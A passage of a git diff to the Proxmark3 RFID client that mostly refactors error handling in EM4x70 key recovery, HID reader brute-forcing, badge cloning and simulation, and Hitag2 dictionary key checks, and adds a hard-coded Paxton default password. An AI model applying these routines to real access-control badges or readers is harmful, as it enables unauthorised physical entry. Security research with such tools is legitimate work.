brute.partial_key[1]; - } else if (block == 8) { - opts.key.k[2] = brute.partial_key[0]; - opts.key.k[3] = brute.partial_key[1]; - } else if (block == 7) { - opts.key.k[4] = brute.partial_key[0]; - opts.key.k[5] = brute.partial_key[1]; - } + if (PM3_ETIMEOUT == result) { + PrintAndLogEx(FAILED, "timeout while waiting for reply"); + PrintAndLogEx(HINT, "Hint: Block %d data was overwritten. Manually restart at step %d", block, step); + return result; + } else if (PM3_SUCCESS != result) { + PrintAndLogEx(FAILED, "Writing block %d ( " _RED_("fail") " )", block); + PrintAndLogEx(HINT, "Hint: Block %d data was overwritten. Manually restart at step %d", block, step); + return result; + } else { + PrintAndLogEx(INFO, " Found: Partial key in block %d is " _GREEN_("%02X%02X") + , block + , brute.partial_key[0] + , brute.partial_key[1] + ); + // Save the partial key... + if (block == 9) { + opts.key.k[0] = brute.partial_key[0]; + opts.key.k[1] = brute.partial_key[1]; + } else if (block == 8) { + opts.key.k[2] = brute.partial_key[0]; + opts.key.k[3] = brute.partial_key[1]; + } else if (block == 7) { + opts.key.k[4] = brute.partial_key[0]; + opts.key.k[5] = brute.partial_key[1]; } } // lf em 4x70 write -b N -d - if (PM3_SUCCESS == result) { - PrintAndLogEx(HINT, " " _YELLOW_("lf em 4x70 write -b %d -d %02X%02X"), block, brute.partial_key[0], brute.partial_key[1]); + PrintAndLogEx(HINT, "Hint: " _YELLOW_("lf em 4x70 write -b %d -d %02X%02X"), block, brute.partial_key[0], brute.partial_key[1]); - em4x70_cmd_input_writeblock_t opt_write_zeros = { - .use_parity = opts.parity, - .block = block, - .value = {brute.partial_key[0], brute.partial_key[1]}, - }; + em4x70_cmd_input_writeblock_t opt_write_zeros2 = { + .block = block, + .value = {brute.partial_key[0], brute.partial_key[1]}, + }; - result = writeblock_em4x70(&opt_write_zeros, &tag_info); + result = writeblock_em4x70(&opt_write_zeros2, &tag_info); - if (PM3_ETIMEOUT == result) { - PrintAndLogEx(FAILED, "Timeout while waiting for reply."); - PrintAndLogEx(HINT, "Block %d data (" _GREEN_("%02X%02X") ") may need to be rewritten", block, brute.partial_key[0], brute.partial_key[1]); - return result; - } else if (PM3_SUCCESS != result) { - PrintAndLogEx(FAILED, "Writing block %d ( " _RED_("fail") " )", block); - PrintAndLogEx(HINT, "Block %d data (" _GREEN_("%02X%02X") ") may need to be rewritten", block, brute.partial_key[0], brute.partial_key[1]); - return result; - } + if (PM3_ETIMEOUT == result) { + PrintAndLogEx(FAILED, "timeout while waiting for reply"); + PrintAndLogEx(HINT, "Hint: Block %d data (" _GREEN_("%02X%02X") ") may need to be rewritten", block, brute.partial_key[0], brute.partial_key[1]); + return result; + } else if (PM3_SUCCESS != result) { + PrintAndLogEx(FAILED, "Writing block %d ( " _RED_("fail") " )", block); + PrintAndLogEx(HINT, "Hint: Block %d data (" _GREEN_("%02X%02X") ") may need to be rewritten", block, brute.partial_key[0], brute.partial_key[1]); + return result; } - if (PM3_SUCCESS == result) { - last_successful_step = step; - } + last_successful_step = step; } // The good news is that, if the above succeeded, then from this point forward, the tag remains in a known-good state. @@ -1326,108 +1272,101 @@ static int CmdEM4x70AutoRecover(const char *Cmd) { // 5. Recover potential values of the lower 48 bits of the key // lf em 4x70 recover --key --rnd --frn - if (PM3_SUCCESS == result) { - PrintAndLogEx(INFO, "Step 5. Recover potential values of the lower 48 bits of the key"); - PrintAndLogEx(HINT, " " _YELLOW_("lf em 4x70 recover --key %s --rnd %s --frn %s --grn %s"), key_string, rnd_string, frn_string, grn_string); + PrintAndLogEx(INFO, "Step 5. Recover potential values of the lower 48 bits of the key"); + PrintAndLogEx(HINT, "Hint: " _YELLOW_("lf em 4x70 recover --key %s --rnd %s --frn %s --grn %s"), key_string, rnd_string, frn_string, grn_string); - result = recover_em4x70(&opts, &data); + result = recover_em4x70(&opts, &data); - if (PM3_EOVFLOW == result) { - PrintAndLogEx(ERR, "Found more than %d potential keys. This is unexpected and likely a code failure.", MAXIMUM_ID48_RECOVERED_KEY_COUNT); - return result; - } else if (PM3_SUCCESS != result) { - PrintAndLogEx(ERR, "No potential keys recovered. This is unexpected and likely a code failure."); - return result; - } else { - PrintAndLogEx(INFO, " Found " _GREEN_("%d") " potential keys", data.potential_key_count); - for (uint8_t idx = 0; idx < data.potential_key_count; ++idx) { - ID48LIB_KEY q = data.potential_keys[idx]; - PrintAndLogEx(DEBUG, " Potential Key %d: %s %02X%02X%02X%02X%02X%02X" - , idx - , key_string - , q.k[ 6] - , q.k[ 7] - , q.k[ 8] - , q.k[ 9] - , q.k[10] - , q.k[11] - ); - } - last_successful_step = 5; + if (PM3_EOVFLOW == result) { + PrintAndLogEx(ERR, "Found more than %d potential keys. This is unexpected and likely a code failure.", MAXIMUM_ID48_RECOVERED_KEY_COUNT); + return result; + } else if (PM3_SUCCESS != result) { + PrintAndLogEx(ERR, "No potential keys recovered. This is unexpected and likely a code failure."); + return result; + } else { + PrintAndLogEx(INFO, " Found " _GREEN_("%d") " potential keys", data.potential_key_count); + for (uint8_t idx = 0; idx < data.potential_key_count; ++idx) { + ID48LIB_KEY q = data.potential_keys[idx]; + PrintAndLogEx(DEBUG, " Potential Key %d: %s %02X%02X%02X%02X%02X%02X" + , idx + , key_string + , q.k[ 6] + , q.k[ 7] + , q.k[ 8] + , q.k[ 9] + , q.k[10] + , q.k[11] + ); } + last_successful_step = 5; } // 6. Verify which potential key is actually on the tag (using a different rnd/frn combination) // lf em 4x70 auth --rnd --frn - if (PM3_SUCCESS == result) { - PrintAndLogEx(INFO, "Step 6. Verify which potential key is actually on the tag"); + PrintAndLogEx(INFO, "Step 6. Verify which potential key is actually on the tag"); - em4x70_cmd_input_verify_auth_t opts_v = { - .use_parity = opts.parity, - //.rn = {{0}}, - //.frn = {{0}}, - //.grn = {{0}}, - }; + em4x70_cmd_input_verify_auth_t opts_v = { + //.rn = {{0}}, + //.frn = {{0}}, + //.grn = {{0}}, + }; - // TODO: retry a few time, if >1 key validated with the new nonce - bool continue_loop = true; - bool found_one_key = false; - bool found_more_than_one_key = false; - uint8_t first_validated_key_idx = 0xFF; + // TODO: retry a few time, if >1 key validated with the new nonce + bool continue_loop = true; + bool found_one_key = false; + bool found_more_than_one_key = false; + uint8_t first_validated_key_idx = 0xFF; - for (uint8_t attempt = 0; continue_loop && (attempt < 10); ++attempt) { - continue_loop = false; - found_one_key = false; - found_more_than_one_key = false; - first_validated_key_idx = 0xFF; - fill_buffer_prng_bytes(&opts_v.rn, sizeof(ID48LIB_NONCE)); + for (uint8_t attempt = 0; continue_loop && (attempt < 10); ++attempt) { + continue_loop = false; + found_one_key = false; + found_more_than_one_key = false; + first_validated_key_idx = 0xFF; + fill_buffer_prng_bytes(&opts_v.rn, sizeof(ID48LIB_NONCE)); - for (uint8_t i = 0; i < data.potential_key_count; ++i) { - // generate the alternate frn/grn for this key + nonce combo - id48lib_generator(&data.potential_keys[i], &opts_v.rn, &opts_v.frn, &opts_v.grn); + for (uint8_t i = 0; i < data.potential_key_count; ++i) { + // generate the alternate frn/grn for this key + nonce combo + id48lib_generator(&data.potential_keys[i], &opts_v.rn, &opts_v.frn, &opts_v.grn); - int tmpResult = verify_auth_em4x70(&opts_v); - if (PM3_SUCCESS == tmpResult) { - if (!found_one_key) { - first_validated_key_idx = i; - found_one_key = true; - } else { - found_more_than_one_key = true; - } + int tmpResult = verify_auth_em4x70(&opts_v); + if (PM3_SUCCESS == tmpResult) { + if (!found_one_key) { + first_validated_key_idx = i; + found_one_key = true; + } else { + found_more_than_one_key = true; } } - - if (found_one_key == false) { - PrintAndLogEx(WARNING, "No potential keys validated. Will try again with different nonce"); - continue_loop = true; - msleep(2000); // delay 2 seconds ... in case tag was bumped, etc. - } else if (found_more_than_one_key) { - PrintAndLogEx(WARNING, "Multiple potential keys validated. Will try different nonce"); - continue_loop = true; - msleep(2000); // delay 2 seconds ... in case tag was bumped, etc. - } else { - last_successful_step = 6; - } } - if ((found_one_key == false) || found_more_than_one_key) { - PrintAndLogEx(FAILED, "Unable to recover any of the multiple potential keys"); - PrintAndLogEx(FAILED, "Check tag for good coupling / position!"); - return PM3_EFAILED; + if (found_one_key == false) { + PrintAndLogEx(WARNING, "No potential keys validated. Will try again with different nonce"); + continue_loop = true; + msleep(2000); // delay 2 seconds ... in case tag was bumped, etc. + } else if (found_more_than_one_key) { + PrintAndLogEx(WARNING, "Multiple potential keys validated. Will try different nonce"); + continue_loop = true; + msleep(2000); // delay 2 seconds ... in case tag was bumped, etc. } else { - // print the validated key to the string buffer (for step 7) - ID48LIB_KEY q = data.potential_keys[first_validated_key_idx]; - snprintf(key_string, 25, "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - q.k[ 0], q.k[ 1], q.k[ 2], q.k[ 3], q.k[ 4], q.k[ 5], - q.k[ 6], q.k[ 7], q.k[ 8], q.k[ 9], q.k[10], q.k[11] - ); + last_successful_step = 6; } } + + if ((found_one_key == false) || found_more_than_one_key) { + PrintAndLogEx(FAILED, "Unable to recover any of the multiple potential keys"); + PrintAndLogEx(FAILED, "Check tag for good coupling / position!"); + return PM3_EFAILED; + } else { + // print the validated key to the string buffer (for step 7) + ID48LIB_KEY q = data.potential_keys[first_validated_key_idx]; + snprintf(key_string, 25, "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + q.k[ 0], q.k[ 1], q.k[ 2], q.k[ 3], q.k[ 4], q.k[ 5], + q.k[ 6], q.k[ 7], q.k[ 8], q.k[ 9], q.k[10], q.k[11] + ); + } // 7. Print the validated key - if (PM3_SUCCESS == result) { - PrintAndLogEx(SUCCESS, "Recovered key... " _GREEN_("%s"), key_string); - last_successful_step = 7; - } + PrintAndLogEx(SUCCESS, "Recovered key... " _GREEN_("%s"), key_string); + last_successful_step = 7; // For posterity, step 7 used to do the following: // 7. Print the validated key --OR-- Print that the tag is still OK --OR-- Print instructions on what to retry to recover tag to a good state @@ -1533,7 +1472,7 @@ static int CmdHelp(const char *Cmd); static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"brute", CmdEM4x70Brute, IfPm3EM4x70, "Bruteforce EM4X70 to find partial key"}, - {"info", CmdEM4x70Info, IfPm3EM4x70, "Tag information EM4x70"}, + {"info", CmdEM4x70Info, IfPm3EM4x70, "Tag information"}, {"write", CmdEM4x70Write, IfPm3EM4x70, "Write EM4x70"}, {"unlock", CmdEM4x70Unlock, IfPm3EM4x70, "Unlock EM4x70 for writing"}, {"auth", CmdEM4x70Auth, IfPm3EM4x70, "Authenticate EM4x70"}, @@ -1566,12 +1505,11 @@ int CmdLFEM4X70(const char *Cmd) { // Use helper function `get_em4x70_info()` if wanting to limit / avoid output. bool detect_4x70_block(void) { em4x70_tag_info_t info; - em4x70_cmd_input_info_t opts = { 0 }; - int result = get_em4x70_info(&opts, &info); + int result = get_em4x70_info(&info); if (result == PM3_ETIMEOUT) { // consider removing this output? - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); } return result == PM3_SUCCESS; } diff --git a/client/src/cmdlffdxb.c b/client/src/cmdlffdxb.c index a7478e43b..853c10dde 100644 --- a/client/src/cmdlffdxb.c +++ b/client/src/cmdlffdxb.c @@ -58,6 +58,9 @@ static int CmdHelp(const char *Cmd); static int getFDXBBits(uint64_t national_code, uint16_t country_code, uint8_t is_animal, uint8_t is_extended, uint32_t extended, uint8_t *bits) { + if (bits == NULL) { + return PM3_ESOFT; + } // add preamble ten 0x00 and one 0x01 memset(bits, 0x00, 10); bits[10] = 1; @@ -689,7 +692,7 @@ static int CmdFdxBReader(const char *Cmd) { lf_read(false, 10000); ret = demodFDXB(!cm); // be verbose only if not in continuous mode - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); if (old_div != curr_div) { @@ -802,8 +805,8 @@ static int CmdFdxBClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf fdxb reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf fdxb reader`") " to verify"); return res; } @@ -855,6 +858,10 @@ static int CmdFdxBSim(const char *Cmd) { PrintAndLogEx(SUCCESS, "Simulating FDX-B animal ID: " _YELLOW_("%04u-%"PRIu64), country_code, national_code); uint8_t *bs = calloc(128, sizeof(uint8_t)); + if (bs == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } if (getFDXBBits(national_code, country_code, is_animal, (extended > 0), extended, bs) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Error with tag bitstream generation."); free(bs); @@ -863,6 +870,11 @@ static int CmdFdxBSim(const char *Cmd) { // 32, no STT, BIPHASE INVERTED == diphase lf_asksim_t *payload = calloc(1, sizeof(lf_asksim_t) + 128); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(bs); + return PM3_EMALLOC; + } payload->encoding = 2; payload->invert = 1; payload->separator = 0; diff --git a/client/src/cmdlfgallagher.c b/client/src/cmdlfgallagher.c index f2bd45af3..98e6bf524 100644 --- a/client/src/cmdlfgallagher.c +++ b/client/src/cmdlfgallagher.c @@ -132,7 +132,7 @@ static int CmdGallagherReader(const char *Cmd) { do { lf_read(false, 4096 * 2 + 20); demodGallagher(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -276,8 +276,8 @@ static int CmdGallagherClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf gallagher reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf gallagher reader`") " to verify"); return res; } @@ -363,6 +363,10 @@ static int CmdGallagherSim(const char *Cmd) { bytes_to_bytebits(raw, sizeof(raw), bs); lf_asksim_t *payload = calloc(1, sizeof(lf_asksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->encoding = 1; payload->invert = 0; payload->separator = 0; diff --git a/client/src/cmdlfguard.c b/client/src/cmdlfguard.c index fcf1f2c6c..8ff8c13d1 100644 --- a/client/src/cmdlfguard.c +++ b/client/src/cmdlfguard.c @@ -98,7 +98,7 @@ static int demod_guard_raw(uint8_t *raw, uint8_t rlen) { // but will leave the g_GraphBuffer intact. // if successful it will push askraw data back to g_DemodBuffer ready for emulation int demodGuard(bool verbose) { - (void) verbose; // unused so far + (void) verbose; //Differential Biphase //get binary from ask wave if (ASKbiphaseDemod(0, 64, 0, 0, false) != PM3_SUCCESS) { @@ -243,7 +243,7 @@ static int CmdGuardReader(const char *Cmd) { do { lf_read(false, 10000); demodGuard(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -285,12 +285,16 @@ static int CmdGuardClone(const char *Cmd) { return PM3_EINVARG; } - fmtlen &= 0x7f; + fmtlen &= 0x7F; uint32_t facilitycode = (fc & 0x000000FF); uint32_t cardnumber = (cn & 0x00FFFFFF); //GuardProxII - compat mode, ASK/Biphase, data rate 64, 3 data blocks uint8_t *bs = calloc(96, sizeof(uint8_t)); + if (bs == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } if (getGuardBits(xorval, fmtlen, facilitycode, cardnumber, bs) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Error with tag bitstream generation."); free(bs); @@ -317,7 +321,7 @@ static int CmdGuardClone(const char *Cmd) { free(bs); - PrintAndLogEx(INFO, "Preparing to clone Guardall to " _YELLOW_("%s") " with Facility Code: " _GREEN_("%u") " Card Number: " _GREEN_("%u") " xorKey: " _GREEN_("%u") + PrintAndLogEx(INFO, "Preparing to clone Guardall to " _YELLOW_("%s") " with fc: " _GREEN_("%u") " cn: " _GREEN_("%u") " xor: " _GREEN_("%u") , cardtype , facilitycode , cardnumber @@ -331,8 +335,8 @@ static int CmdGuardClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf gproxii reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf gproxii reader`") " to verify"); return res; } @@ -375,7 +379,7 @@ static int CmdGuardSim(const char *Cmd) { return PM3_ESOFT; } - PrintAndLogEx(SUCCESS, "Simulating Guardall Prox - xorKey: " _YELLOW_("%u") " Facility Code: " _YELLOW_("%u") " CardNumber: " _YELLOW_("%u") + PrintAndLogEx(SUCCESS, "Simulating Guardall Prox - xorKey: " _YELLOW_("%u") " fc: " _YELLOW_("%u") " cn: " _YELLOW_("%u") , xorval , facilitycode , cardnumber @@ -383,6 +387,10 @@ static int CmdGuardSim(const char *Cmd) { // Guard uses: clk: 64, invert: 0, encoding: 2 (ASK Biphase) lf_asksim_t *payload = calloc(1, sizeof(lf_asksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->encoding = 2; payload->invert = 0; payload->separator = 0; @@ -510,20 +518,23 @@ int getGuardBits(uint8_t xorKey, uint8_t fmtlen, uint32_t fc, uint32_t cn, uint8 rawbytes[3] = 0; // add wiegand to rawbytes - for (i = 0; i < 5; ++i) + for (i = 0; i < 5; ++i) { rawbytes[i + 4] = bytebits_to_byte(pre + (i * 8), 8); + } PrintAndLogEx(DEBUG, " WIE | %s", sprint_hex(rawbytes, sizeof(rawbytes))); // XOR (only works on wiegand stuff) - for (i = 1; i < sizeof(rawbytes); ++i) + for (i = 1; i < sizeof(rawbytes); ++i) { rawbytes[i] ^= xorKey ; + } PrintAndLogEx(DEBUG, " XOR | %s", sprint_hex(rawbytes, sizeof(rawbytes))); // convert rawbytes to bits in pre - for (i = 0; i < sizeof(rawbytes); ++i) + for (i = 0; i < sizeof(rawbytes); ++i) { num_to_bytebitsLSBF(rawbytes[i], 8, pre + (i * 8)); + } PrintAndLogEx(DEBUG, " Raw | %s", sprint_hex(rawbytes, sizeof(rawbytes))); PrintAndLogEx(DEBUG, " Raw | %s", sprint_bytebits_bin(pre, 96)); diff --git a/client/src/cmdlfhid.c b/client/src/cmdlfhid.c index ab41f3798..0e932fccb 100644 --- a/client/src/cmdlfhid.c +++ b/client/src/cmdlfhid.c @@ -58,8 +58,9 @@ static int sendPing(void) { SendCommandNG(CMD_PING, NULL, 0); clearCommandBuffer(); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_PING, &resp, 1000)) + if (WaitForResponseTimeout(CMD_PING, &resp, 1000) == false) { return PM3_ETIMEOUT; + } return PM3_SUCCESS; } static int sendTry(uint8_t format_idx, wiegand_card_t *card, uint32_t delay, bool verbose) { @@ -119,7 +120,7 @@ int demodHID(bool verbose) { uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -159,8 +160,7 @@ int demodHID(bool verbose) { return PM3_ESOFT; } - wiegand_message_t packed = initialize_message_object(hi2, hi, lo, 0); - if (HIDTryUnpack(&packed) == false) { + if (!decode_wiegand(hi2, hi, lo, 0)) { // if failed to unpack wiegand printDemodBuff(0, false, false, true); } PrintAndLogEx(INFO, "raw: " _GREEN_("%08x%08x%08x"), hi2, hi, lo); @@ -215,7 +215,7 @@ static int CmdHIDReader(const char *Cmd) { do { lf_read(false, 16000); demodHID(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -375,9 +375,10 @@ static int CmdHIDClone(const char *Cmd) { bool q5 = arg_get_lit(ctx, 7); bool em = arg_get_lit(ctx, 8); - // TODO: very confusing sizes... buf of 70, parser len to 63 instead of 70-1, tests for len > 127, loop with 96... - int bin_len = 63; - uint8_t bin[70] = {0}; + // t5577 can do 6 blocks with 32bits == 192 bits, HID is manchester encoded and doubles in length. + // With parity, manchester and preamble we have about 3 blocks to play with. Ie: 96 bits + uint8_t bin[97] = {0}; + int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 9, bin, &bin_len); CLIParserFree(ctx); @@ -386,8 +387,8 @@ static int CmdHIDClone(const char *Cmd) { return PM3_EINVARG; } - if (bin_len > 127) { - PrintAndLogEx(ERR, "Binary wiegand string must be less than 128 bits"); + if (bin_len > 96) { + PrintAndLogEx(ERR, "Binary wiegand string must be less than 96 bits"); return PM3_EINVARG; } @@ -470,15 +471,17 @@ static int CmdHIDClone(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_HID_CLONE, (uint8_t *)&payload, sizeof(payload)); - PacketResponseNG resp; - WaitForResponse(CMD_LF_HID_CLONE, &resp); + if (WaitForResponseTimeout(CMD_LF_HID_CLONE, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + if (resp.status == PM3_SUCCESS) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf hid reader`") " to verify"); - PrintAndLogEx(INFO, "Done!"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf hid reader`") " to verify"); } else { PrintAndLogEx(FAILED, "cloning ( " _RED_("fail") " )"); - } return resp.status; } @@ -540,6 +543,7 @@ static int CmdHIDBrute(const char *Cmd) { } wiegand_card_t card_hi, card_low; + cardformatdescriptor_t card_descriptor = HIDGetCardFormat(format_idx).Fields; memset(&card_hi, 0, sizeof(wiegand_card_t)); char field[3] = {0}; @@ -571,11 +575,13 @@ static int CmdHIDBrute(const char *Cmd) { PrintAndLogEx(INFO, "Facility code.... %u", card_hi.FacilityCode); PrintAndLogEx(INFO, "Card number...... %" PRIu64, card_hi.CardNumber); PrintAndLogEx(INFO, "Delay............ " _YELLOW_("%d"), delay); + if (strcmp(field, "fc") == 0) { PrintAndLogEx(INFO, "Field............ " _YELLOW_("fc")); } else if (strcmp(field, "cn") == 0) { PrintAndLogEx(INFO, "Field............ " _YELLOW_("cn")); } + switch (direction) { case 0: PrintAndLogEx(INFO, "Direction........ " _YELLOW_("both")); @@ -590,6 +596,7 @@ static int CmdHIDBrute(const char *Cmd) { break; } } + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "Started bruteforcing HID Prox reader"); PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or " _GREEN_("") " to abort simulation"); @@ -619,13 +626,13 @@ static int CmdHIDBrute(const char *Cmd) { return PM3_ESOFT; } if (strcmp(field, "fc") == 0) { - if (card_hi.FacilityCode < 0xFF) { + if (card_hi.FacilityCode < card_descriptor.MaxFC) { card_hi.FacilityCode++; } else { fin_hi = true; } } else if (strcmp(field, "cn") == 0) { - if (card_hi.CardNumber < 0xFFFF) { + if (card_hi.CardNumber < card_descriptor.MaxCN) { card_hi.CardNumber++; } else { fin_hi = true; diff --git a/client/src/cmdlfhitag.c b/client/src/cmdlfhitag.c index 24b2c3fa4..dddad1bab 100644 --- a/client/src/cmdlfhitag.c +++ b/client/src/cmdlfhitag.c @@ -16,6 +16,8 @@ // Low frequency Hitag support //----------------------------------------------------------------------------- #include "cmdlfhitag.h" +#include "cmdlfhitaghts.h" +#include "cmdlfhitagu.h" #include #include "cmdparser.h" // command_t #include "comms.h" @@ -31,10 +33,13 @@ #include "pm3_cmd.h" // return codes #include "hitag2/hitag2_crypto.h" #include "util_posix.h" // msclock -#include "cmdlfhitaghts.h" static int CmdHelp(const char *Cmd); +static const uint8_t ht2_default_keys[] = { + 0xBD, 0xF5, 0xE8, 0x46 // PAXTON +}; + static const char *getHitagTypeStr(uint32_t uid) { //uid s/n ******** uint8_t type = (uid >> 4) & 0xF; @@ -75,11 +80,11 @@ static size_t nbytes(size_t nbits) { */ static int CmdLFHitagList(const char *Cmd) { - return CmdTraceListAlias(Cmd, "lf hitag", "hitag2"); + return CmdTraceListAlias(Cmd, "lf hitag", "ht2"); /* uint8_t *got = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); - if (!got) { - PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); + if (got == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -95,7 +100,7 @@ static int CmdLFHitagList(const char *Cmd) { if (traceLen > PM3_CMD_DATA_SIZE) { uint8_t *p = realloc(got, traceLen); if (p == NULL) { - PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(got); return PM3_EMALLOC; } @@ -205,7 +210,7 @@ static int CmdLFHitagList(const char *Cmd) { */ } -static void print_hitag2_paxton(const uint8_t *data) { +static void print_hitag2_paxton(bool show_header, const uint8_t *data) { // if the pwd isn't.. if (memcmp(data + 4, "\xBD\xF5\xE8\x46", 4)) { @@ -263,10 +268,14 @@ static void print_hitag2_paxton(const uint8_t *data) { } } - PrintAndLogEx(INFO, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("Possible de-scramble patterns") " -------------"); + if (show_header) { + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("Possible de-scramble patterns") " -------------"); + } PrintAndLogEx(SUCCESS, "Paxton id... %" PRIu64 " | 0x%" PRIx64 " ( %s )", paxton_id, paxton_id, formfactor); - PrintAndLogEx(INFO, ""); + if (show_header) { + PrintAndLogEx(INFO, ""); + } } static void print_hitag2_configuration(uint32_t uid, uint8_t config) { @@ -480,13 +489,28 @@ static int ht2_check_dictionary(uint32_t key_count, uint8_t *keys, uint8_t keyl uint8_t *pkeys = keys; + uint32_t toti = key_count; + uint32_t cnt = 0; + while (key_count--) { + cnt++; + + if (kbd_enter_pressed()) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + PrintAndLogEx(WARNING, "\naborted via keyboard!"); + break; + } + + PrintAndLogEx(INPLACE, "Checking Keys %u / %u", cnt, toti); + + msleep(30); + if (keylen == 4) { - packet.cmd = RHT2F_PASSWORD; + packet.cmd = HT2F_PASSWORD; memcpy(packet.pwd, pkeys, keylen); } else { - packet.cmd = RHT2F_CRYPTO; + packet.cmd = HT2F_CRYPTO; memcpy(packet.key, pkeys, keylen); } @@ -495,8 +519,8 @@ static int ht2_check_dictionary(uint32_t key_count, uint8_t *keys, uint8_t keyl clearCommandBuffer(); SendCommandNG(CMD_LF_HITAG_READER, (uint8_t *)&packet, sizeof(packet)); PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_LF_HITAG_READER, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + if (WaitForResponseTimeout(CMD_LF_HITAG_READER, &resp, 4000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); SendCommandNG(CMD_BREAK_LOOP, NULL, 0); return PM3_ETIMEOUT; } @@ -565,6 +589,7 @@ void hitag2_annotate_plain(char *exp, size_t size, const uint8_t *cmd, uint8_t c char *binstr = (char *)calloc((cmdsize * 8) + 1, sizeof(uint8_t)); if (binstr == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; } @@ -632,6 +657,7 @@ void annotateHitag2(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, char *binstr = (char *)calloc((cmdsize * 8) + 1, sizeof(uint8_t)); if (binstr == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; } @@ -770,9 +796,6 @@ void annotateHitag2(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, free(binstr); } -void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response) { -} - static const char *identify_transponder_hitag2(uint32_t uid) { switch (uid) { @@ -794,22 +817,22 @@ static const char *identify_transponder_hitag2(uint32_t uid) { return ""; } -static bool getHitag2Uid(uint32_t *uid) { +static bool ht2_get_uid(uint32_t *uid) { lf_hitag_data_t packet; memset(&packet, 0, sizeof(packet)); - packet.cmd = RHT2F_UID_ONLY; + packet.cmd = HT2F_UID_ONLY; clearCommandBuffer(); SendCommandNG(CMD_LF_HITAG_READER, (uint8_t *) &packet, sizeof(packet)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_HITAG_READER, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return false; } if (resp.status != PM3_SUCCESS) { - PrintAndLogEx(DEBUG, "DEBUG: Error - failed getting UID"); + PrintAndLogEx(DEBUG, "DEBUG: Error - failed getting Hitag 2 UID"); return false; } @@ -835,7 +858,7 @@ static int CmdLFHitagInfo(const char *Cmd) { // read UID uint32_t uid = 0; - if (getHitag2Uid(&uid) == false) { + if (ht2_get_uid(&uid) == false) { return PM3_ESOFT; } // how to determine Hitag types? @@ -886,10 +909,10 @@ static int CmdLFHitagReader(const char *Cmd) { do { // read UID uint32_t uid = 0; - if (getHitag2Uid(&uid)) { + if (ht2_get_uid(&uid)) { PrintAndLogEx(SUCCESS, "UID.... " _GREEN_("%08X"), uid); } - } while (cm && kbd_enter_pressed() == false); + } while (cm && (kbd_enter_pressed() == false)); 